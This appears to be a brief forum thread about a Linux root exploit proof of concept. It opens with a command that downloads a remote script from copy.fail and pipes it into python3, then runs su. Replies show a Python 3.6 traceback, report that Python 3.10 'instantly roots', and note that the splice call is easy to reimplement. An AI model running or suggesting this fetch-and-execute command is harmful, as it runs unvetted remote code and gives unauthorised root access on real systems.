curl https://copy.fail/exp | python3 && su
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'
Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".
What is your Python version? Splice was added in 3.10.
https://docs.python.org/3/library/os.html#os.splice
Edited with an update.